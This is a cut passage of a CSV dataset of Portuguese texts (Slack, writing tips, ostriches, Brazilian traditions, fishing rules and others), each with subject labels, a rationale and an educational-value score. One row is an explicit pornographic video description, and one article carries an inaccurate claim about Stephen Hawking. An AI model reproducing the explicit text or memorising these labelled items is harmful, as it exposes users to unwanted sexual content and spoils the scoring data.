usar até 5 GB. +Esse é um dos motivos pelo qual as pessoas costumam dizer que o Slack vai substituir o e-mail. Já imaginou ficar livre daquelas correntes enormes que no final só serviram para discutir um arquivo de texto? +Uma das funções que mais chama a atenção do Slack é o leque de integrações possíveis. Ela oferece diversos serviços complementares, desde abrir arquivos do Drive até bots que ajudam o trabalho dos times (ou divertem). +As mais conhecidas, além do Drive, são o Dropbox, MailChimp, Twitter, Google Hangouts e Analytics. A lista é enorme. Descubra todas! +A ideia por trás da criação da plataforma é relativamente simples: juntar conversas pessoais e públicas de equipes de trabalho em um só lugar. E, para manter as pessoas por mais tempo nesse lugar, a ferramenta oferece diversas integrações, que dispensam cada vez mais a necessidade de abrir outra aba no navegador para outros acessos. +Por isso, ele é bem mais do que uma rede social qualquer. Imagine como a comunicação da sua equipe pode melhorar utilizando o Slack. A cada avanço do trabalho, os integrantes podem dividir as novidades com todos por lá. Precisa ter arquivos acessíveis para qualquer um a todo momento? Basta fazer upload no canal. +O Slack não é só para startups e grandes empresas, mas para qualquer trabalho que exija a integração de equipes de forma ágil e fácil, além de útil. Ele pode revolucionar o trabalho na gestão pública e no terceiro setor. Especialmente porque, nesses casos, os recursos são limitados. Daí a importância do acesso a uma ferramen...",original,original,original,original,4,0.8 +"Já parou para pensar em como as histórias nos transportam para outros mundos, nos fazem rir, chorar e refletir? Tudo isso acontece por causa da escrita, uma ferramenta poderosa que todos nós podemos dominar! Escrever bem não é um dom, mas sim uma habilidade que se desenvolve com prática e conhecimento. E este artigo é o seu guia para essa jornada! + +Imagine que você quer contar para um amigo sobre suas férias incríveis. Você pode simplesmente dizer: ""Foi legal!"". Mas que tal usar as palavras para pintar um quadro na mente dele? Você poderia descrever a cor do mar, o cheiro das flores, o sabor da comida e as pessoas que você conheceu. Ao fazer isso, você transforma um simples relato em uma experiência vívida e inesquecível. + +A produção textual nada mais é do que a arte de organizar suas ideias e transformá-las em palavras que façam sentido para o leitor. Para começar, é fundamental ter clareza sobre o que você quer dizer. Qual é o seu objetivo? Qual mensagem você quer transmitir? Depois, pense em quem é o seu público. Você escreveria da mesma forma para um amigo e para um professor? Adaptar a linguagem é essencial. + +Um bom texto precisa ter uma estrutura bem definida: introdução, desenvolvimento e conclusão. Na introdução, você apresenta o tema e desperta o interesse do leitor. No desenvolvimento, você explora suas ideias, oferece exemplos e argumentos. E na conclusão, você resume o que foi dito e deixa uma mensagem final. Pense como se estivesse construindo uma casa: a introdução é a base, o desenvolvimento são as paredes e o telhado, e a conclusão é o toque final que dá beleza e harmonia à construção. + +Para deixar seus textos ainda mais interessantes, experimente usar diferentes recursos da língua portuguesa. Varie o vocabulário, explore as figuras de linguagem (como metáforas e comparações) e use a pontuação de forma criativa. Mas lembre-se: o mais importante é ser claro e objetivo. Não adianta usar palavras difíceis se o leitor não entender o que você quer dizer. + +Por fim, pratique! Quanto mais você escrever, melhor você ficará. Comece com textos curtos, como mensagens para amigos ou posts em redes sociais. Depois, aventure-se em textos mais longos, como contos, poemas ou artigos de opinião. E não tenha medo de errar! A escrita é um processo de aprendizado contínuo. Com dedicação e perseverança, você pode se tornar um escritor incrível e expressar suas ideias de forma clara, criativa e impactante. E agora, que tal colocar a mão na massa e começar a escrever? Sobre o que você gostaria de escrever hoje? Que história você quer contar ao mundo?",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional. Apresenta informações básicas sobre escrita e produção textual (1 ponto). Aborda elementos da educação, como a importância da clareza e adaptação da linguagem, embora não esteja estritamente alinhado aos parâmetros curriculares (mais 1 ponto). Introduz conceitos importantes, como a estrutura de um texto (introdução, desenvolvimento, conclusão), de forma coerente (mais 1 ponto). O texto é claro e consistente, com exemplos práticos e adequados para o ensino fundamental (mais 1 ponto). Apresenta raciocínio detalhado e insights sobre a escrita, sem conteúdo complexo, incentivando a prática e o desenvolvimento da habilidade (mais 1 ponto).",5,1.0 +"Como eram as relações no tempo da ditadura militar? Se você acha que este livro vai contar a história de um casalzinho sem graça inibido pelas proibições da época você está completamente enganado! O livro fala sobre: amor. E não aquele amor que prende, mas o amor que deixa livre. +Só que Celina é uma mulher tão maravilhosa e Haydée uma jovem tão espirituosa que elas acabam se tornando amigas! +Afonso é um cara muito bacana, extremamente respeitador e nem um pouco machista! Adorei ele. +Já a Haydée representa a juventude feminina de hoje também: jovem, determinada, que sabe o que quer e luta pelos seus ideais. +Sobre o final: eu gostei e não gostei. Não posso falar porquê senão revelaria o que acontece. Mas posso dizer que, como o livro se passa na ditadura militar, tem algo a ver com isso.. Nós temos uma jovem batalhadora e um sistema opressor. Dessa parte eu gostei - muito! -, afinal foram as muitas Haydée's do passado que nos proporcionaram o mundo de hoje. +O Amor nos Tempos do AI-5 é intenso, sem preconceitos, isento de qualquer forma de ciúme. Uma entrega total de quatro personagens – um casal, cada um com seu amante. Eles entrelaçam seus costumes e seus desejos, sem meias palavras, insinuações ou mentiras, pois o que se busca é o prazer total – e quanto mais, melhor. +O leitor vai se libertar de todo o preconceito imposto ao comportamento conjugal pelos padrões comuns da sociedade - a mulher cuida da casa e dos filhos e os homens vão além, exibindo amantes aos amigos como se fora um troféu, embora se apresentem ao mundo como cidadãos acima de qualquer suspeita em matéria de ética e de moral. +Enfim, o escritor propõe uma profunda reflexão em sua obra: a pureza do amor em confronto com a estupidez da extrema violência - não importa se de esquerda ou de direita naqueles tempos do AI-5 da ditadura militar no Brasil. Pois assim é nosso mundo, vasto mundo, como diria Drummond. +* Luciano Ornelas é jornalista, ex-Editor-Chefe de O Estado de S. Paulo. +Publicou, ainda, ""As revoluções do século XX"", e ""Da Guerra Fria à Nova Ordem Mundial"", ambos pela editora Contexto. Organizou o ""Dicionário Ilustrado da Inconfidência Mineira""; publicou ""História de Minas Gerais"".",original,original,original,original,2,0.4 +" Habitat natural de avestruzes +O mais alto e mais pesado dos pássaros na terra, o avestruz não pode voar e depende de suas muitas adaptações para sobreviver. Encontrado apenas na África, o avestruz pode pesar tanto quanto 287 libras, afirma o site do zoológico de San Diego, e é tão alto quanto 8 ou 9 pés. O avestruz compensa sua natureza sem vôo com uma visão aguçada e uma capacidade de correr a 43 milhas por hora para escapar do perigo que se apresenta em seu habitat. +As quatro subespécies separadas de avestruz existe na África ao sul do deserto do Saara. O avestruz do norte da África reside em um trecho do norte da África, da costa ocidental a partes do leste. As subespécies de avestruz Somali e Masai habitam o leste da África, com o avestruz somali vivendo mais ao norte do que o Masai, na região do Chifre da África. O avestruz sul-africano vive no canto sudoeste do continente. +As florestas gramadas, savanas e planícies semi-áridas da África são os cenários que suportam o avestruz. A incapacidade do animal para voar não permitiria que ele sobrevivesse em um ecossistema tropical densamente florestado, já que não teria espaço para correr livremente quando o perigo estivesse ameaçado e não fosse capaz de identificar um problema de longe em tal cobertura. As pernas fortes da avestruz permitem que ela ultrapasse muitos predadores, que podem ser vistos no habitat aberto. +O avestruz é um nômade e deve seguir suas fontes de alimento, indo aonde puder encontrar bagas, gramas, sementes e insetos suficientes em cima dos quais para subsistir. Avestruzes também precisam de uma fonte confiável de água potável, apesar do fato de que eles recebem um pouco de umidade das plantas que consomem. Os avestruzes, portanto, habitarão muitos dos mesmos habitats como os herbívoros, como os elefantes e os antílopes, com essas espécies dependendo frequentemente dos sentidos agudos do avestruz, para alertá-los de qualquer perigo. +Avestruzes Tem cílios grossos que evitam que a areia e a sujeira soprem contra os olhos, pois eles resistem às tempestades de areia e às condições de vento em ambientes secos. O pássaro tem asas curtas, mas estas são apenas para dar equilíbrio enquanto corre e para exibições de corte. O avestruz tem apenas dois dedos, o que torna mais rápido e um avestruz tem um longo pescoço, que serve para ajudar a varredura do campo circundante para leões, leopardos e outros predadores em potencial. Os avestruzes vivem em grupos, com os pássaros sabendo que há segurança nos números, com mais olhos para procurar problemas. +As histórias que um avestruz enterra na areia quando o perigo vem é completamente falso. Um avestruz, se não puder fugir do problema, pode matar com um chute da perna. No entanto, o mito provavelmente surgiu da observação de avestruzes que sabiam que não podiam correr rápido o suficiente para escapar de uma ameaça em particular e deitarem-se para baixo para evitar a detecção. Nesses momentos, a cabeça e o pescoço da ave são difíceis de detectar contra o solo arenoso, levando as pessoas a pensarem que o pássaro estava colocando a cabeça no chão e esperando o melhor.",original,original,original,original,4,0.8 +"Olá, pequenos exploradores da história! Já pararam para pensar por que algumas coisas são feitas de um jeito e não de outro? Por que comemos certos alimentos em épocas específicas do ano? Ou por que dançamos e cantamos músicas diferentes em cada região do nosso Brasil? Tudo isso faz parte das nossas tradições culturais! + +Tradições culturais são como um tesouro que cada povo carrega. São costumes, crenças, histórias, músicas, danças, comidas e muitas outras coisas que passam de geração para geração. Imagine que a sua avó ensinou uma receita deliciosa para sua mãe, e sua mãe vai ensinar para você. Essa receita, se for especial para sua família e feita em momentos importantes, pode se tornar uma tradição familiar, que é um tipo de tradição cultural! + +No Brasil, temos uma mistura incrível de tradições! Isso acontece porque nosso país recebeu pessoas de muitos lugares diferentes: africanos, europeus, asiáticos e, claro, os povos indígenas que já viviam aqui antes de todos chegarem. Cada um desses povos trouxe suas próprias tradições, que se misturaram e formaram a cultura rica e diversa que temos hoje. + +Por exemplo, a festa junina, com suas comidas típicas como a pamonha e o bolo de fubá, as danças como a quadrilha e as brincadeiras como a pescaria, é uma tradição muito forte no Brasil. Ela tem influências dos povos indígenas, dos portugueses e dos africanos. Outro exemplo é o carnaval, com seus desfiles de escolas de samba, os blocos de rua e a alegria contagiante. O carnaval também tem raízes em diferentes culturas e é celebrado de maneiras diferentes em cada parte do país. + +Mas não são só as grandes festas que formam nossas tradições. A maneira como as pessoas se vestem, os instrumentos musicais que tocam, os contos que narram, os jogos que brincam, tudo isso faz parte da nossa cultura. Que tal perguntar para seus pais, avós ou outros familiares sobre as tradições da sua família? Quais histórias eles contam? Quais músicas eles cantam? Quais comidas eles preparam em datas especiais? + +Descobrir as tradições culturais do Brasil é como embarcar em uma grande aventura! Cada tradição é uma janela para o passado, que nos ajuda a entender quem somos e de onde viemos. E o mais legal é que as tradições não são coisas do passado, elas continuam vivas e se transformando com o tempo. Então, vamos celebrar e valorizar a nossa cultura, para que ela continue a encantar as futuras gerações!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho apresenta um excelente valor educacional, introduzindo o conceito de tradições culturais de forma acessível e envolvente para crianças. Aborda a diversidade cultural brasileira, menciona exemplos como a festa junina e o carnaval, e incentiva a pesquisa familiar sobre o tema. A linguagem é clara e adequada para o público-alvo, promovendo a compreensão e valorização da cultura brasileira. Atende a todos os critérios, configurando um recurso valioso para o ensino fundamental.",5,1.0 +"Ensino Superior: Governo e bancadas acordam que se devem ultrapassar os desafios - Notícias do Norte +Início » Cabo Verde » Ensino Superior: Governo e bancadas acordam que se devem ultrapassar os desafios +Ensino Superior: Governo e bancadas acordam que se devem ultrapassar os desafios +_ Comentários fechados em Ensino Superior: Governo e bancadas acordam que se devem ultrapassar os desafios +O PAICV, que propôs o tema, deseja “um Cabo Verde que seja uma terra de prosperidade, paz e segurança, mas com uma sociedade formada. Entende que o cabo-verdiano de 2030 deva ser empreendedor, com formação, capacidade e competências sociais, científicas e comunicativas comparadas a nível internacional o que lhe permitirá fazer o seu trajecto pessoal e profissional no mundo. +Para o PAICV, o Ensino Superior é capaz de desempenhar um papel formativo no desenvolvimento futuro do país e da nossa nação. “A condição principal para avançar com sucesso é a vontade política, as recomendações e propostas podem ter uma grande base técnica, serem consistentes e sólidas. Mas terão pouco impacte se não houver vontade política para as implementar”, afirma o líder da bancada do PAICV, Janira Hopffer Almada. +A Ministra agradeceu as sugestões da bancada da oposição. “Estamos introduzindo mudanças onde é necessário e proceder à análise do processo base, redireccionar a acção dos cursos e a própria reconfiguração da rede pública do Ensino Superior para atender às necessidades das regiões e do desenvolvimento”. +Para a Ministra, o Governo tem apostado na resolução dos problemas, sobretudo, empenhando-se a elevar o patamar do Ensino Superior com o processo de renovação que passa pelo estrito cumprimento e respeito pelas instituições do Ensino Superior. “Estamos empenhados sim na qualidade, a promover a qualidade sempre capitalizando os activos de cada região, os talentos que temos e promovendo áreas que são essenciais sem esquecer a nossa vocação atlântica”. +Anuncia a integração do país em redes internacionais de pesquisa e ainda o trabalho no estatuto do pesquisador para que haja mais transparência e qualidade. E regula o acesso ao financiamento.",original,original,original,original,2,0.4 +"Barreiras são rompidas através da tecnologia assistiva – Portal Opa +Barreiras são rompidas através da tecnologia assistiva +Postado em 4 de outubro de 2016 26 de janeiro de 2017 +Ciência desenvolvida não revolucionou apenas o mercado de eletrônicos, mas também os equipamentos utilizados por pessoas com doença física e motora +Desde a revolução industrial temos provas o suficiente de que tivemos um grande avanço em técnicas e que muitas máquinas substituíram trabalhos braçais. Graças a essa passagem na história, possuímos ferramentas capazes de facilitar a vida de indivíduos com um estilo de vida normal e portadores de alguma limitação física ou mental. +Conhecida como Tecnologia Assistiva, que identifica todos os recursos e ferramentas que proporcionam e aumenta às habilidades funcionais, ela promove vida independente e inclusão social à pessoas especiais.“O investimento na ciência tornou o dia a dia de deficientes mais agradáveis, além de criar possibilidades para que eles pudessem exercer ações que antes eram impossíveis”, diz a coordenadora de da Universidade de Tecnologia e Educação, Rita Barch. +Os produtos desenvolvidos para esse fim vão desde softwares, até artigos de robótica. Existe uma vasta gama de estratégias, serviços, equipamentos e práticas arquitetadas e dedicadas para monitorar os problemas encontrados nessas pessoas.Bengalas luminosas, pernas robóticas, mouse ocular e visual, teclado virtual, guincho de piscina, stand table e robô que aumenta a força, são alguns dos equipamentos feitos ao decorrer dos anos para contribuir com autoestima de quem utiliza e que tem um fundamental papel na inclusão social.Cada um com sua funcionalidade, essas criações, ajudam desde fazer uma pessoa andar, até com que a voz seja reproduzida, através de equipamentos eletrônicos, dando a deficientes físicos e mentais uma vida mais independente, mesmo com suas limitações. +Stephen Hawking é um exemplo de capacidade e superação. Diagnosticado com Esclerose Lateral Amiotrófica ou ELA, ainda na juventude, o maior físico da história contemporânea perdeu, gradativamente, os movimentos do corpo devido ao desgaste ou morte de neurônios responsáveis pela função motora do corpo humano como braços, pernas e músculos.O gênio projetou ferramentas eletrônicas, que o faz falar e andar e, além disso, viver, o que era impossível para muitos médicos na época. Ele se comunica através de um aparelho eletrônico pelo pensamento. Além de ter constituído uma bela família, é vivo até hoje. +Atualmente existem diversas empresas especializadas em adaptação e fabricação de equipamentos para lá de inovadores. No Brasil, existe uma lei que incentiva o fomento da tecnologia de bioengenharia nacional e a importação de produtos que provocam a inclusão social para quem necessita.“Com a disponibilidade de ferramentas que temos hoje, é gratificante para nós que trabalhamos na área ver a felicidade estampada no rosto de quem utiliza, com a sensação de independência, foi isso que sempre buscamos”, conclui Rita Barch. +Publicado em TecnologiaMarcado Inovação, Tecnologia Assistiva, Tenologia +Anterior Terapia ocupacional: a profissão que transforma +Avançar Uma experiência inesquecível no universo do outro",original,original,original,original,3,0.6 +"⭐Principais normas estabelecidas em matéria de pesca, nas Albufeiras que, à data, possuem Plano de Ordenamento de Albufeiras de Águas Públicas +Download ""Principais normas estabelecidas em matéria de pesca, nas Albufeiras que, à data, possuem Plano de Ordenamento de Albufeiras de Águas Públicas"" +Gabriela Nobre de Almeida +1 Principais normas estabelecidas em matéria de pesca, nas Albufeiras que, à data, possuem Plano de Ordenamento de Albufeiras de Águas Públicas 28/Setembro/20092 Índice Aguieira... 3 Alqueva e Pedrógão... 5 Apartadura... 7 Alto Lindoso e Touvedo... 8 Alvito Azibo Bravura Cabril, Bouçã, St.ª Luzia Caia Campilhas Caniçada Castelo do Bode Cova do Viriato Crestuma-Lever Divor Enxoé Fonte Serne Funcho e Arade Fronhas Gameiro Idanha Magos Maranhão Montargil Monte Novo Monte da Rocha Odelouca Odivelas Pego do Altar Póvoa e Meadas Régua e Carrapatelo Roxo Sabugal Santa Águeda e Pisco Santa Clara São Domingos Tapada Grande Tapada Pequena Vale de Gaio Vigia Vilar3 Aguieira (Resolução de Conselho de Ministros Nº 186/2007, 21 Dezembro 2007) Artigo 7.º - Zona de protecção da barragem e dos órgãos de segurança e utilização da albufeira 1 - Na zona de protecção da barragem e dos órgãos de segurança, interditam-se todas as actividades secundárias e a instalação de infra-estruturas de apoio ao recreio náutico, cabendo às entidades competentes a sua sinalização no plano de água e fiscalização. Artigo 8.º - Zona de respeito da barragem e dos órgãos de segurança e utilização da albufeira 1 - Na zona de respeito da barragem e dos órgãos de segurança e utilização da albufeira, interditam-se os seguintes actos e actividades: b) Todas as actividades secundárias e a instalação de qualquer tipo de infra-estruturas de apoio às actividades secundárias. 2 - Na zona referida no número anterior, cabe às entidades competentes a sua sinalização e fiscalização. Artigo 10.º - Captações de água para consumo humano 1 - As captações superficiais e subterrâneas de água para consumo humano têm zonas de protecção, nos termos da legislação em vigor. 2 - Quando localizadas no plano de água, as zonas de protecção às captações são obrigatoriamente sinalizadas e demarcadas pela entidade competente através da colocação de bóias. 4 - Nas zonas de protecção às captações são interditas as seguintes actividades: a) Quando abrangerem o plano de água, todas as actividades secundárias, com excepção da circulação das embarcações de socorro e emergência, das embarcações de manutenção das infra-estruturas da barragem e da captação e das embarcações destinadas à colheita de amostras de água para monitorização da qualidade; Artigo 11.º - Utilizações no plano de água 1 - No plano de água são permitidas, nas condições constantes na legislação específica e do disposto no presente regulamento, as seguintes actividades e utilizações: a) A pesca; 4 - Poderá ser determinada, a qualquer altura, pelas entidades competentes a redução ou suspensão das actividades secundárias, sempre que a qualidade da água e ou a variação do nível da água o justifique e até que estejam reunidas as devidas condições de utilização, de acordo com o presente regulamento e demais legislação aplicável. Artigo 12.º - Actividades interditas 1 - No plano de água é interdita a prática dos seguintes actos ou actividades: 34 b) A aquicultura e piscicultura; Artigo 35.º - Zonas de recreio balnear 1 - As zonas de recreio balnear integram espaços com vocação privilegiada para estada, banhos e natação e correspondem: a) À zona de recreio balnear de Valongo Breda, no concelho de Mortágua; b) À zona de recreio balnear da Senhora da Ribeira, no concelho de Santa Comba Dão; c) À zona de recreio balnear de Tábua, no concelho de Tábua; d) A outras zonas de recreio balnear integradas nas zonas de lazer e zonas de desenvolvimento turístico, tal como mencionadas na alínea a) e c) do artigo 34.º e no n.º 7 do artigo 39.º do presente regulamento. 2 - As zonas de recreio balnear devem ser sinalizadas e devidamente balizadas...",original,original,original,original,2,0.4 +"Equilíbrio físico, mental e espiritual durante a quarentena +Neste texto, vou descrever o passo a passo de como manter um equilíbrio físico, mental e espiritual durante a quarentena! +07:00 às 09:30 - O despertar de um novo tempo! +Acorde e faça três respirações profundas, imagine todas as suas células regeneradas e saudáveis. Pensar positivo logo ao acordar estrutura toda a sua neuroquímica logo pela manhã! +Abra a janela do quarto imediatamente, olhe para o horizonte e deixe a luz do sol penetrar nas suas células. Estudos mostram que a luz solar, logo nos primeiros horários da manhã, ajuda a bloquear a melatonina produzida a noite e estimula a supra renal a produzir cortisol para conseguir despertar e dar ânimo para o novo dia!! +Aqueles que puderem, desçam rapidinho com seus animais de estimação, eles não transmitem coronavírus e podem ajudar na sua sanidade mental! Lembre-se de tomar todas as medidas de higiene; evite aglomeração no elevador e não faça aglomerado de pessoas ao descer. Ao voltar, lave as mãos e passe álcool em gel! +09:30 às 10:30 - Café da manhã cheio de energia!! +A refeição da manhã é muito importante, visto que tudo o que ingerimos passa pelo tubo digestivo para ser digerido e metabolizado, modulando o nosso sistema imunológico de defesa. +Evite alimentos processados, com corantes e conservantes e açúcar refinado. Além disso, aumente a porção de frutas legumes e verduras. +Dicas para a sua refeição: +. 1 xícara pequena de café +. Para melhorar a energia, um copo de suco maçã com laranja e couve, batida com 20 gotas de própolis e 1 colher de sopa de TCM +. 2 colheres de tapioca ou pão integral ou, ainda, pão sem glúten para quem é intolerante +. Ovo mexido +. Aumente sua ingestão natural de vitamina C! Consuma frutas amarelas e laranjas, como laranja, tangerina, mamão e manga. Não se esquecendo de frutas de outras colorações com alto teor de vitamina C, como o kiwi, a acerola, o morango e o limão. Inclua dois tipos dessas frutas todos os dias. +10:30 às 12:00 - Oxigene seus músculos e seu cérebro! +Faça alguma atividade física em casa, aulas online como yoga, ballet fitness ou funcional. Lembre-se de fazer um lanche pós treino para não ficar fraco. +12:00 às 13:00: Hora das boas notícias! +Procure ler algo positivo, qualquer noticia que traga esperança e paz. Vamos criar uma egrégora (força espiritual criada a partir da soma de energias coletivas) de pensamentos positivos! Com essa avalanche de más noticias, precisamos diminuir toda essa forma pensamento negativa que se instala com medo. +O que eu sugiro: compartilhe as informações de saúde, mas vamos criar hábito de compartilhar, também, noticias positivas. Isso vai fazer você se sentir melhor! Juntos somos mais forte! +13:00 às 14:00: Almoço saudável +Um almoço saudável envolve uma refeição equilibrada! Algumas sugestões são: +Arroz integral/ feijão +Salada/ legumes +O sulforafano é um composto bioativo presente especialmente nas brássicas – como brócolis, couve-flor, repolho e rabanete –, pertencente ao grupo dos isotiocianatos de compostos organosulfurados. +O Sulforafano apresenta propriedades antioxidantes, especialmente pela indução da via Nrf2 (fator nuclear eritroide 2 relacionado ao fator 2), envolvida com a transcrição de genes que codificam enzimas antioxidantes como SOD, catalase e glutationa peroxidase, além de atuar na modulação de respostas inflamatórias e imunes. +Aumente as porções de brássicas todos os dias! +14:00 às 15:00 - Momento da boa ação +Veja se alguém ao seu redor precisa de ajuda! A empatia e solidariedade são um bom aprendizado nesse momento! +Acredito que nós nunca vamos poder responder o porquê disso tudo está acontecendo com a gente, mas e o para que? Devemos nos perguntar ""como podemos ser melhores?"" +Toda crise tem uma dimensão instrutiva para crescimento e transformação consciencial. Exercite sua compaixão e solidariedade! A historia de toda epidemia é uma historia de empatia: eu cuido de mim pra poder cuidar de você e, se eu não cuidar de você, e...",original,original,original,original,3,0.6 +"CASA RESIDENCIAL 2 quarto(s) no Glória VENDA +DESCRIÇÃO: Ótima casa residencial mista localizada no Bairro Glória. **Próximo a escola, creche, igreja, mercado, padaria. Imóvel constituído de 02 dormitórios, 01 banheiro social, 01 sala de estar, 01 cozinha, 01 área de serviço, vaga de garagem, terreno murado com garagem coberta e portão eletrõnico, área de festas. Valor: R$ 180.000,00 Agende já uma visita e venha conferir essa oportunidade! Fones: (47) 99166-6688 WhatsApp / (47) 3322-6688 E-mail: atendimento@quintal.imb.br Ref. S.C.",original,original,original,original,1,0.2 +"Morena do bundão fudendo com entregador que não negou e meteu a rola. Essa gostosa atendeu o rapaz de fio dental e ele não conseguiu resistir e simplesmente mandou a quenga mamar aquela pica. Dessa forma ela logo empina o bundão peladinha e o entregador fica atrás comendo ela e ouvindo a bunduda gemendo. Isso é realmente um dos melhores videos de sexo para assistir online. Ou seja, ela provoca e sente a pica do rapaz metendo em si.",original,original,original,original,0,0.0 +"Allan Diego Silva Lima | Doutor em Ciências pela Universidade de São Paulo +Há anos, comecei a ministrar cursos de C e C++, naquela época jamais poderia imaginar que um dia teria material suficiente para a construção deste site. Pois bem, o tempo passou e já disponibilizei as aulas dos diversos cursos que ministrei, enquanto que Google se encarregou de fazer a divulgação… Em 2007 o site ultrapassou a marca dos 10.000 acessos e no ano de 2012 finalmente o site chegou da marca de 100.ooo acessos. +Durante todo este tempo, tive a felicidade de receber diversas mensagens de apoio à minha iniciativa, inclusive, de pessoas moram em outros países. E não foi só isto, minhas aulas já foram referenciadas em algumas faculdades do Brasil, sendo até utilizadas como base para um curso realizado na UFCG, no final do ano passado. +Muito obrigado a todos, Allan Lima. +Joilnen on 20 julho, 2006 +Massa :)! +Osmany on 26 agosto, 2006 +Tinha que ser tu ne :p !! O mestre do CIn !! Falow {} !! +Thierry on 9 setembro, 2006 +Olha aí o MAGNATA. Organizado que só partido político… hehehe… abração… +Dani on 3 janeiro, 2007 +Allan vc realmente é o CARAAAAAAAAAAA. Quando eu tiver um filho quero que ele seja assim igualzinho a VC. 🙂 +rosana on 23 abril, 2007 +Vou te pertubar enquanto estiver desenvolvendo um ant system em c++ +Filipe Bico s2 Luane on 1 maio, 2007 +Filipe Areias Névola +Graduando em Ciencia da Computação +Vitu on 16 maio, 2007 +Isso ae zéééé 😉 +o master do c++ +Adônis on 16 maio, 2007 +Meus parabéns Allan! Realmente, o conteúdo que vc disponibiliza aqui…e o seu empenho possibilitaram a vc estes merecidos 10.000 acessos. Espero que continuem crescendo!Sucesso! +Jackson on 13 junho, 2007 +Estou dando os primeiros passos em C. +Muito instrutivo !! +Belo exemplo de difusão do conhecimento. +Ádrian on 26 julho, 2007 +Oi Allan, vi que você referenciou o curso que agente fez no ano passado aqui na UFCG, realmente a base do nosso material aqui no curso foram as suas apresentações. Elas nos ajudaram bastante, muito obrigado. +Ernande Filho on 1 agosto, 2007 +Tinha que ser vc, neh allan?!?! +Será que faço parte desses 10.000?? +Augusto Cezar on 25 setembro, 2007 +e aew Allan ^^ +tava testando uns logins e acabei achando teu site aki 😛 +Foster on 25 março, 2008 +Muito bom o conteúdo presente aqui. +Bruno Rodrigues on 23 abril, 2008 +Estou cursando primeiro periodo de ciencias da computação e primeiro periodo de sistemas de informação… +pode ir se acostumando comigo, pois visitarei muito sua pagina, PARABENS! +Jeff on 29 maio, 2008 +Cara.. sou estudante de sistemas de informação, e teus cursos akih do blog me ajudaram mto +keria agradecer =D +vlws hein.. +qualquer novidade sobre cursos e outros.. +estamos akih pra isso 😉 +Andresa Oliveira on 4 setembro, 2008 +Oi Allan, que massa essa página. Meu namorado, (aquele que eu já te apresentei várias vezes!!!)está fazendo sistemas de informação numa faculadade particular e por isso eu ando procurando coisas legais para ele, e ele vai adorar esse site. +PET/Biologia/UFRPE +Diogo Costa on 19 outubro, 2008 +Cara, realmente fantastico o mundo da programação e como tem caras feras…eu ainda estou caminhando na programação mas estou cade vez mais facinado! +Diego on 31 outubro, 2008 +Show de bola… Muito fera mesmo.. O material é super bom e de alto nivel.. Parabens!!! +Saulo Santos on 8 fevereiro, 2009 +comecei C esse semestre na facul. vou conferir o seu material =) valeu +Valéria (CWB) on 16 março, 2009 +Allan vc é o cara! É a pessoa mais comprometida e dedicada em ensinar que eu conheço, e admiro muito por ser assim. +Allan troca isso “Mestrando em Ciência da Computação pela UFPE”, pq agora vc é MESTRE com diploma e tudo. =^^= +William Antônio Siqueira on 21 março, 2009 +Estou a tempos procurando um material: +-Direto; +-Avançado; +-Com exemplos; +de C e C++. Bem, aqui encontrei. +Pena que seus cursos não são na minha cidade, estes sim valem a pena pagar! +Agora você virou minha referência número 2 em C e C++, o primeiro é o Sr. Paulo Feofilof da USP! +Guilherme on 17 abril, 20...",original,original,original,original,2,0.4 +"Já parou para pensar em como o nosso corpo é incrível? Ele é como uma máquina super potente, capaz de fazer tantas coisas: correr, pular, aprender, brincar e até sonhar! Mas para que essa máquina funcione direitinho, precisamos conhecer suas partes e como cuidar bem delas. Vamos embarcar nessa aventura? + +Imagine que você tem um carro. Para ele andar, precisa de combustível, certo? No nosso corpo, o combustível são os alimentos! Quando comemos frutas, verduras, legumes, carnes e grãos, estamos dando ao nosso corpo a energia que ele precisa para crescer, brincar e estudar. É importante variar os alimentos para termos todas as vitaminas e nutrientes necessários. Pense nas cores no seu prato: quanto mais colorido, mais saudável! + +Outra coisa super importante é beber água. A água é como o óleo do motor do carro, sabe? Ela ajuda a tudo funcionar direitinho dentro de nós. Ela leva os nutrientes para todas as partes do corpo, ajuda a regular a temperatura e ainda elimina o que não precisamos através do xixi e do suor. Por isso, não se esqueça de beber água ao longo do dia, principalmente quando estiver brincando e se exercitando. + +Além de comer bem e beber água, o nosso corpo precisa de descanso. Dormir é como desligar o carro para ele esfriar e recarregar a bateria. Quando dormimos, o nosso corpo se recupera do dia, o cérebro organiza as informações e ficamos prontos para um novo dia cheio de aventuras. Tente dormir sempre no mesmo horário e por pelo menos 9 horas por noite, assim você terá energia de sobra para tudo! + +E, por último, mas não menos importante, precisamos nos exercitar! Correr, pular, dançar, nadar… tudo isso faz bem para o nosso corpo. A atividade física fortalece os músculos e os ossos, melhora a circulação do sangue e ainda nos deixa mais felizes! Que tal chamar seus amigos para brincar de pega-pega no parque ou aprender uma nova dança? O importante é se movimentar e se divertir! + +Cuidar do nosso corpo é como cuidar de um tesouro. Ele é a nossa casa, o nosso veículo, a nossa ferramenta para explorar o mundo. Ao comermos bem, bebermos água, dormirmos o suficiente e nos exercitarmos, estamos dando a ele tudo o que ele precisa para funcionar perfeitamente e nos permitir viver uma vida longa e feliz. Então, que tal começarmos agora mesmo a cuidar ainda mais da nossa incrível máquina humana? Lembre-se: um corpo saudável é um corpo feliz!",Ciências,Corpo humano e saúde,anos iniciais (1º ao 5º ano),"O texto é adequado para o ensino fundamental, abordando a importância de cuidar do corpo de forma lúdica e acessível para crianças. Utiliza analogias simples (carro e máquina) para explicar conceitos de nutrição, hidratação, descanso e exercício. O estilo de escrita é claro e motivador, incentivando hábitos saudáveis. A linguagem é apropriada e o conteúdo é relevante para a saúde e bem-estar dos alunos.",5,1.0 +"Já parou para pensar como o Brasil é gigante e diverso? Nosso país é tão grande que foi dividido em 27 unidades, chamadas de estados, e esses estados foram agrupados em cinco regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. Cada uma dessas regiões tem suas próprias características, como clima, vegetação, cultura e economia, tornando o Brasil um lugar fascinante para explorar. + +Vamos começar entendendo o que são estados e regiões. Imagine o Brasil como um grande quebra-cabeça. Cada peça desse quebra-cabeça é um estado, como São Paulo, Minas Gerais ou Amazonas. Cada estado tem sua própria capital, que é a cidade mais importante, onde ficam os principais órgãos do governo. Agora, junte algumas peças desse quebra-cabeça que têm características parecidas e você terá uma região. Por exemplo, os estados do Amazonas, Pará e Rondônia, que compartilham características da Floresta Amazônica, formam parte da Região Norte. + +As regiões brasileiras são muito diferentes entre si. A Região Norte, por exemplo, é conhecida pela sua vasta floresta e rios caudalosos, como o Amazonas. Já o Nordeste encanta com suas praias paradisíacas, cultura rica e 